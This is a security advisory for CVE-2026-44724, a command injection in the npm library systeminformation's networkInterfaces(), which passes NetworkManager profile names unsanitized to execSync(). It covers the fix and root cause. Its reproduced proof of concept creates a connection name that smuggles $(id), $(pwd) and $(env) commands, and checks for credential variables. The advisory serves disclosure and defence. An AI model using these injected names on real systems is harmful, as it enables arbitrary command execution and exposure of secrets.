CVE-2026-44724: Systeminformation Systeminformation Vulnerable To Linux Command Vulnerability

HIGH
Advisory Identifier: GHSA-hvx9-hwr7-wjj9
CVSS 7.8
CWE-78
Published
Advisory Summary

CVE-2026-44724 is a HIGH (CVSS 7.8) systeminformation vulnerable to linux command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Systeminformation libraries in the npm ecosystem. The issue involves systeminformation vulnerable to linux command injection in networkinterfaces() via unsanitized networkmanager connection profile name. Remediation is available by upgrading affected packages to version 5.31.6.

CVE-2026-44724 at a Glance

CVE Identifier CVE-2026-44724
GHSA Identifier GHSA-hvx9-hwr7-wjj9
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Systeminformation
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-44724

To remediate this vulnerability, upgrade all affected Systeminformation dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

systeminformation fixed: 5.31.6
npm install systeminformation@5.31.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls systeminformation

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44724, inspect your project dependencies using npm:

npm ls systeminformation

Analyze the terminal output to locate any version of Systeminformation in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.31.6), your application is affected.

Note: The npm ls systeminformation command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Systeminformation, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary On Linux, `systeminformation` is vulnerable to command injection in `networkInterfaces()` when an **active NetworkManager connection profile name** contains shell metacharacters. This is not caused by a caller passing attacker-controlled arguments into `networkInterfaces()`. The vulnerable value is obtained internally from real `nmcli device status` output. The library sanitizes the network interface name before using it in shell commands, but it does **not** apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized `connectionName` is then interpolated into three shell command strings executed through `execSync()`. This issue was validated locally against **real NetworkManager** and **real `nmcli`**. Calling only: ```js require('./lib').networkInterfaces() ``` was enough to trigger execution. The injected command ran with the privileges of the calling Node.js process. ## Affected Component & Versions **Affected component:** - [`lib/network.js`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js) - `networkInterfaces()` - Linux NetworkManager / `nmcli` handling ## Impact & Threat Model **Confirmed impact:** An attacker who can create or rename an **active NetworkManager connection profile** can execute arbitrary shell commands when a Node.js process using `systeminformation` calls `networkInterfaces()`. **Confirmed realistic affected deployments include:** - local inventory agents - monitoring agents - diagnostics tools - admin dashboard backends collecting host information - privileged local desktop or device-management agents If such a process runs with elevated privileges, the injected command executes with those same elevated privileges. **Confirmed facts:** - The payload was stored as a real NetworkManager connection profile name. - Real `nmcli device status` returned the name unchanged. - `networkInterfaces()` parsed that value and reused it in shell commands. - The injected command ran as the calling Node.js process. - Environment key categories were reachable from the injected process context. **Not claimed:** - No remote exploitation claim is made. - No `AV:N` or `AV:A` claim is made. - No SSID-to-connection-name attack path is claimed. - File-delivery-only `.nmconnection` import was not confirmed as a remote or unauthenticated path. ## Root Cause Analysis The root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name. The interface name is sanitized before it is embedded into shell commands: ```js const iface = dev.split(':')[0].trim(); const s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface); ``` However, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization: ```js const connectionNameLines = resultFormat.split(' ').slice(3); const connectionName = connectionNameLines.join(' '); return connectionName !== '--' ? connectionName : ''; ``` That is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside `"${connectionName}"` does not make it safe. A connection name containing `"`, `$()`, `;`, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution. The vulnerable code executes through `execSync()`, which invokes a shell for command strings. As a result, interpolating `connectionName` into the command string creates a command-injection sink. ## Exact Code Flow & File Paths **Source:** [`lib/network.js:538-544`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L538-L544) ```js function getLinuxIfaceConnectionName(interfaceName) { const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`; try { const result = execSync(cmd, util.execOptsLinux).toString(); const resultFormat = result.replace(/\s+/g, ' ').trim(); const connectionNameLines = resultFormat.split(' ').slice(3); ``` The parsed value is then returned as `connectionName`. **Trigger:** [`lib/network.js:987-991`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L987-L991) ```js lines = execSync(cmd, util.execOptsLinux).toString().split('\n'); const connectionName = getLinuxIfaceConnectionName(ifaceSanitized); dhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics); dnsSuffix = getLinuxIfaceDNSsuffix(connectionName); ieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName); ``` **Sink 1:** [`lib/network.js:620`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L620-L620) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.method;`; ``` **Sink 2:** [`lib/network.js:660`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L660-L660) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep ipv4.dns-search;`; ``` **Sink 3:** [`lib/network.js:676`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L676-L676) ```js const cmd = `nmcli connection show "${connectionName}" 2>/dev/null | grep 802-1x.eap;`; ``` There are **three distinct exploitable `connectionName` sinks**. ## Proof of Concept (PoC) & Reproduction Steps The following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp. Run from the project root: ```bash cd /path/to/systeminformation ``` Confirm proof files do not already exist: ```bash test -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET test -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET test -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET ``` Create a malicious NetworkManager dummy profile: ```bash nmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' ``` Assign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface: ```bash nmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \ ipv4.method manual \ ipv4.addresses 192.0.2.253/32 \ ipv6.method disabled ``` Activate the profile: ```bash nmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' ``` Confirm real nmcli exposes the malicious connection name unchanged: ```bash nmcli device status | grep si-nmghsa0 ``` Expected relevant output includes the active connection name: ```text si-nmghsa0 dummy connected si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof) ``` Trigger the vulnerable library path with no attacker-controlled function argument: ```bash node -e "const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item) console.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});" ``` Confirm command execution: ```bash test -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED cat /tmp/si-nm-id-proof cat /tmp/si-nm-pwd-proof ``` Inspect environment key categories without printing secret values: ```bash node -e " const fs=require('fs'); const keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8') .split(/\n/).map(l=>l.split('=')[0]).filter(Boolean); const wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID']; console.log('env_key_count='+keys.length); console.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(',')); " ``` validated evidence: ```text saw_dummy_iface=true uid=1000(smart) gid=1000(smart) pwd=/home/smart/Downloads/systeminformation-master env_key_count=74 present_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK ``` ## Local Validation Summary & Aggregate Reachability Validation was performed against **real NetworkManager** and **real `nmcli`**. The primary proof did not rely on a PATH stub. **Observed behavior:** - The malicious profile was accepted by NetworkManager. - The active connection name appeared unchanged in `nmcli device status`. - Calling only `require('./lib').networkInterfaces()` triggered execution. - The proof artifacts were created only after the library call. - The `id` output matched the calling Node.js process identity. - The `pwd` output matched the Node.js process working directory. - The environment proof demonstrated access to process-environment categories without printing secret values. **Aggregate API reachability:** - [`lib/index.js:94`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L94-L94): `getStaticData()` reaches `network.networkInterfaces()` as part of static data collection. - [`lib/index.js:307`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L307-L307): `getAllData()` reaches `getStaticData()` first. During local validation, an aggregate runtime attempt later hit an unrelated `osinfo.js` error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was **not** used as the primary exploit proof. ## Why This Is Not Intended Behavior `networkInterfaces()` is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status. The library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for `connectionName` is inconsistent with that defensive pattern. Executing shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction. ## Recommended Fix Avoid shell interpolation entirely for NetworkManager calls. Replace shell command strings with `execFileSync()` or `spawnSync()` using argument arrays. For example: ```js const { execFileSync } = require('child_process'); const output = execFileSync( 'nmcli', ['connection', 'show', connectionName], util.execOptsLinux ).toString(); ``` **Recommended code-level changes:** - Replace `nmcli device status 2>/dev/null | grep ${interfaceName}` with argument-array execution and filter rows in JavaScript. - Replace every `nmcli connection show "${connectionName}" | grep ...` shell string with argument-array execution. - Parse `ipv4.method`, `ipv4.dns-search`, and `802-1x.eap` in JavaScript instead of using shell `grep`. - Treat NetworkManager profile names as untrusted input even though they originate from local system state. - Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix. ## Regression Test Ideas Add Linux-specific tests for NetworkManager connection names containing shell metacharacters. **Suggested malicious connection names:** - `name$(...)` - `name"; ...; #` - ``name`...``` - `name|...` - `name;...` **Expected behavior after the fix:** - `networkInterfaces()` completes without executing shell syntax from the connection name. - No marker files or equivalent side effects are produced. - The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried. - Tests cover all three current sink helpers: - DHCP lookup - DNS suffix lookup - IEEE 802.1x auth lookup For unit-level coverage, mock the NetworkManager command wrapper so that `nmcli device status` returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings. ## Credit request If you publish an advisory or assign a CVE, please credit me as: Ali Firas (thesmartshadow) - https://www.smartshadow.dev

CVE-2026-44724 Affected Systeminformation Versions

1 component(s)
Fixed Versions:
5.31.6
Product / Package Ecosystem Affected Versions Fixed Version
systeminformation
npm
≥ 4.17.0
< 5.31.6
5.31.6

References

Frequently Asked Questions

What is CVE-2026-44724?
CVE-2026-44724 is a security vulnerability in Systeminformation involving Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Systeminformation versions are affected?
Affected versions include releases prior to 5.31.6 across affected packages: systeminformation.
What version fixes CVE-2026-44724?
Upgrading to 5.31.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is systeminformation affected?
Yes, systeminformation is affected in releases prior to 5.31.6. Upgrade your dependency to 5.31.6 or later.
What is the CVSS score of CVE-2026-44724?
CVE-2026-44724 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-44724?
CVE-2026-44724 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-44724?
Run the dependency tree command: 'npm ls systeminformation'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hvx9-hwr7-wjj9",
  "modified" : "2026-06-08T23:53:59Z",
  "published" : "2026-05-13T15:29:21Z",
  "aliases" : [ "CVE-2026-44724" ],
  "summary" : "Systeminformation vulnerable to Linux command injection in networkInterfaces() via unsanitized NetworkManager connection profile name",
  "details" : "## Summary\n\nOn Linux, `systeminformation` is vulnerable to command injection in `networkInterfaces()` when an **active NetworkManager connection profile name** contains shell metacharacters.\n\nThis is not caused by a caller passing attacker-controlled arguments into `networkInterfaces()`. The vulnerable value is obtained internally from real `nmcli device status` output. The library sanitizes the network interface name before using it in shell commands, but it does **not** apply equivalent sanitization to the parsed NetworkManager connection profile name. That unsanitized `connectionName` is then interpolated into three shell command strings executed through `execSync()`.\n\nThis issue was validated locally against **real NetworkManager** and **real `nmcli`**. Calling only:\n\n```js\nrequire('./lib').networkInterfaces()\n```\n\nwas enough to trigger execution. The injected command ran with the privileges of the calling Node.js process.\n\n## Affected Component & Versions\n\n**Affected component:**\n\n- [`lib/network.js`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js)\n- `networkInterfaces()`\n- Linux NetworkManager / `nmcli` handling\n\n\n## Impact & Threat Model\n\n**Confirmed impact:**\n\nAn attacker who can create or rename an **active NetworkManager connection profile** can execute arbitrary shell commands when a Node.js process using `systeminformation` calls `networkInterfaces()`.\n\n**Confirmed realistic affected deployments include:**\n\n- local inventory agents\n- monitoring agents\n- diagnostics tools\n- admin dashboard backends collecting host information\n- privileged local desktop or device-management agents\n\nIf such a process runs with elevated privileges, the injected command executes with those same elevated privileges.\n\n**Confirmed facts:**\n\n- The payload was stored as a real NetworkManager connection profile name.\n- Real `nmcli device status` returned the name unchanged.\n- `networkInterfaces()` parsed that value and reused it in shell commands.\n- The injected command ran as the calling Node.js process.\n- Environment key categories were reachable from the injected process context.\n\n**Not claimed:**\n\n- No remote exploitation claim is made.\n- No `AV:N` or `AV:A` claim is made.\n- No SSID-to-connection-name attack path is claimed.\n- File-delivery-only `.nmconnection` import was not confirmed as a remote or unauthenticated path.\n\n## Root Cause Analysis\n\nThe root cause is inconsistent trust handling between the Linux interface name and the NetworkManager connection profile name.\n\nThe interface name is sanitized before it is embedded into shell commands:\n\n```js\nconst iface = dev.split(':')[0].trim();\nconst s = util.isPrototypePolluted() ? '---' : util.sanitizeShellString(iface);\n```\n\nHowever, the NetworkManager connection name is parsed from command output and later reused without equivalent sanitization:\n\n```js\nconst connectionNameLines = resultFormat.split(' ').slice(3);\nconst connectionName = connectionNameLines.join(' ');\nreturn connectionName !== '--' ? connectionName : '';\n```\n\nThat is unsafe because NetworkManager profile names can contain shell metacharacters. Quoting the value inside `\"${connectionName}\"` does not make it safe. A connection name containing `\"`, `$()`, `;`, backticks, or similar shell syntax can break out of the intended argument context or trigger command substitution.\n\nThe vulnerable code executes through `execSync()`, which invokes a shell for command strings. As a result, interpolating `connectionName` into the command string creates a command-injection sink.\n\n## Exact Code Flow & File Paths\n\n**Source:** [`lib/network.js:538-544`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L538-L544)\n\n```js\nfunction getLinuxIfaceConnectionName(interfaceName) {\n  const cmd = `nmcli device status 2>/dev/null | grep ${interfaceName}`;\n\n  try {\n    const result = execSync(cmd, util.execOptsLinux).toString();\n    const resultFormat = result.replace(/\\s+/g, ' ').trim();\n    const connectionNameLines = resultFormat.split(' ').slice(3);\n```\n\nThe parsed value is then returned as `connectionName`.\n\n**Trigger:** [`lib/network.js:987-991`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L987-L991)\n\n```js\nlines = execSync(cmd, util.execOptsLinux).toString().split('\\n');\nconst connectionName = getLinuxIfaceConnectionName(ifaceSanitized);\ndhcp = getLinuxIfaceDHCPstatus(ifaceSanitized, connectionName, _dhcpNics);\ndnsSuffix = getLinuxIfaceDNSsuffix(connectionName);\nieee8021xAuth = getLinuxIfaceIEEE8021xAuth(connectionName);\n```\n\n**Sink 1:** [`lib/network.js:620`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L620-L620)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2>/dev/null | grep ipv4.method;`;\n```\n\n**Sink 2:** [`lib/network.js:660`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L660-L660)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2>/dev/null | grep ipv4.dns-search;`;\n```\n\n**Sink 3:** [`lib/network.js:676`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/network.js#L676-L676)\n\n```js\nconst cmd = `nmcli connection show \"${connectionName}\" 2>/dev/null | grep 802-1x.eap;`;\n```\n\nThere are **three distinct exploitable `connectionName` sinks**.\n\n\n## Proof of Concept (PoC) & Reproduction Steps\n\nThe following PoC is harmless and local-only. It uses a dummy NetworkManager connection and writes proof files under /tmp.\n\nRun from the project root:\n\n```bash\ncd /path/to/systeminformation\n```\n\nConfirm proof files do not already exist:\n\n```bash\ntest -e /tmp/si-nm-id-proof && echo EXISTS || echo NOT_YET\ntest -e /tmp/si-nm-pwd-proof && echo EXISTS || echo NOT_YET\ntest -e /tmp/si-nm-env-proof && echo EXISTS || echo NOT_YET\n```\n\nCreate a malicious NetworkManager dummy profile:\n\n```bash\nnmcli connection add type dummy ifname si-nmghsa0 con-name 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'\n```\n\nAssign a documentation-only address so Node’s os.networkInterfaces() sees the dummy interface:\n\n```bash\nnmcli connection modify 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)' \\\n  ipv4.method manual \\\n  ipv4.addresses 192.0.2.253/32 \\\n  ipv6.method disabled\n```\n\nActivate the profile:\n\n```bash\nnmcli connection up 'si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)'\n```\n\nConfirm real nmcli exposes the malicious connection name unchanged:\n\n```bash\nnmcli device status | grep si-nmghsa0\n```\n\nExpected relevant output includes the active connection name:\n\n```text\nsi-nmghsa0  dummy  connected  si-ghsa$(id>/tmp/si-nm-id-proof)$(pwd>/tmp/si-nm-pwd-proof)$(env>/tmp/si-nm-env-proof)\n```\n\nTrigger the vulnerable library path with no attacker-controlled function argument:\n\n```bash\nnode -e \"const si=require('./lib'); si.networkInterfaces().then((interfaces)=>{const item=interfaces.find((entry)=>entry.iface==='si-nmghsa0'); console.log('saw_dummy_iface=' + Boolean(item)); if (item)\nconsole.log(JSON.stringify({iface:item.iface, ip4:item.ip4, dhcp:item.dhcp, dnsSuffix:item.dnsSuffix, ieee8021xAuth:item.ieee8021xAuth}));}).catch((e)=>{console.error(e); process.exit(1);});\"\n```\n\nConfirm command execution:\n\n```bash\ntest -e /tmp/si-nm-id-proof && echo CONFIRMED || echo FAILED\ncat /tmp/si-nm-id-proof\ncat /tmp/si-nm-pwd-proof\n```\n\nInspect environment key categories without printing secret values:\n\n```bash\nnode -e \"\nconst fs=require('fs');\nconst keys=fs.readFileSync('/tmp/si-nm-env-proof','utf8')\n  .split(/\\n/).map(l=>l.split('=')[0]).filter(Boolean);\nconst wanted=['PATH','USER','HOME','SHELL','PWD','SSH_AUTH_SOCK','GITHUB_TOKEN','NPM_TOKEN','AWS_ACCESS_KEY_ID'];\nconsole.log('env_key_count='+keys.length);\nconsole.log('present_categories='+wanted.filter(k=>keys.includes(k)).join(','));\n\"\n```\n\nvalidated evidence:\n\n```text\nsaw_dummy_iface=true\nuid=1000(smart) gid=1000(smart)\npwd=/home/smart/Downloads/systeminformation-master\nenv_key_count=74\npresent_categories=PATH,USER,HOME,SHELL,PWD,SSH_AUTH_SOCK\n```\n\n## Local Validation Summary & Aggregate Reachability\n\nValidation was performed against **real NetworkManager** and **real `nmcli`**. The primary proof did not rely on a PATH stub.\n\n**Observed behavior:**\n\n- The malicious profile was accepted by NetworkManager.\n- The active connection name appeared unchanged in `nmcli device status`.\n- Calling only `require('./lib').networkInterfaces()` triggered execution.\n- The proof artifacts were created only after the library call.\n- The `id` output matched the calling Node.js process identity.\n- The `pwd` output matched the Node.js process working directory.\n- The environment proof demonstrated access to process-environment categories without printing secret values.\n\n**Aggregate API reachability:**\n\n- [`lib/index.js:94`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L94-L94): `getStaticData()` reaches `network.networkInterfaces()` as part of static data collection.\n- [`lib/index.js:307`](https://github.com/sebhildebrandt/systeminformation/blob/ed1cac537c59763301d802ad1b55b4b8581e7553/lib/index.js#L307-L307): `getAllData()` reaches `getStaticData()` first.\n\nDuring local validation, an aggregate runtime attempt later hit an unrelated `osinfo.js` error in that environment. Because of that, aggregate source reachability is confirmed, but aggregate call completion was **not** used as the primary exploit proof.\n\n## Why This Is Not Intended Behavior\n\n`networkInterfaces()` is documented and expected to return network interface metadata such as interface name, IP addresses, DHCP state, DNS suffix, and IEEE 802.1X status.\n\nThe library already shows an intent to protect shell command construction by sanitizing interface names before shell use. The missing sanitization for `connectionName` is inconsistent with that defensive pattern.\n\nExecuting shell commands embedded in a NetworkManager profile name is not a documented feature, not required to return network metadata, and not an expected design tradeoff. This is a command injection vulnerability caused by unsafe shell-string construction.\n\n## Recommended Fix\n\nAvoid shell interpolation entirely for NetworkManager calls.\n\nReplace shell command strings with `execFileSync()` or `spawnSync()` using argument arrays. For example:\n\n```js\nconst { execFileSync } = require('child_process');\n\nconst output = execFileSync(\n  'nmcli',\n  ['connection', 'show', connectionName],\n  util.execOptsLinux\n).toString();\n```\n\n**Recommended code-level changes:**\n\n- Replace `nmcli device status 2>/dev/null | grep ${interfaceName}` with argument-array execution and filter rows in JavaScript.\n- Replace every `nmcli connection show \"${connectionName}\" | grep ...` shell string with argument-array execution.\n- Parse `ipv4.method`, `ipv4.dns-search`, and `802-1x.eap` in JavaScript instead of using shell `grep`.\n- Treat NetworkManager profile names as untrusted input even though they originate from local system state.\n- Do not rely on quoting or escaping as the main mitigation. Argument-array execution is the correct fix.\n\n## Regression Test Ideas\n\nAdd Linux-specific tests for NetworkManager connection names containing shell metacharacters.\n\n**Suggested malicious connection names:**\n\n- `name$(...)`\n- `name\"; ...; #`\n- ``name`...``` \n- `name|...`\n- `name;...`\n\n**Expected behavior after the fix:**\n\n- `networkInterfaces()` completes without executing shell syntax from the connection name.\n- No marker files or equivalent side effects are produced.\n- The function either returns metadata for the interface or safely returns unknown/default values for fields that cannot be queried.\n- Tests cover all three current sink helpers:\n  - DHCP lookup\n  - DNS suffix lookup\n  - IEEE 802.1x auth lookup\n\nFor unit-level coverage, mock the NetworkManager command wrapper so that `nmcli device status` returns a connection name containing metacharacters, then assert that subsequent calls use argument arrays rather than shell strings.\n\n## Credit request\nIf you publish an advisory or assign a CVE, please credit me as:\n\nAli Firas (thesmartshadow)  - https://www.smartshadow.dev",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "systeminformation"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.17.0"
      }, {
        "fixed" : "5.31.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.31.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-hvx9-hwr7-wjj9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44724"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sebhildebrandt/systeminformation"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T15:29:21Z",
    "nvd_published_at" : "2026-05-27T20:16:37Z"
  }
}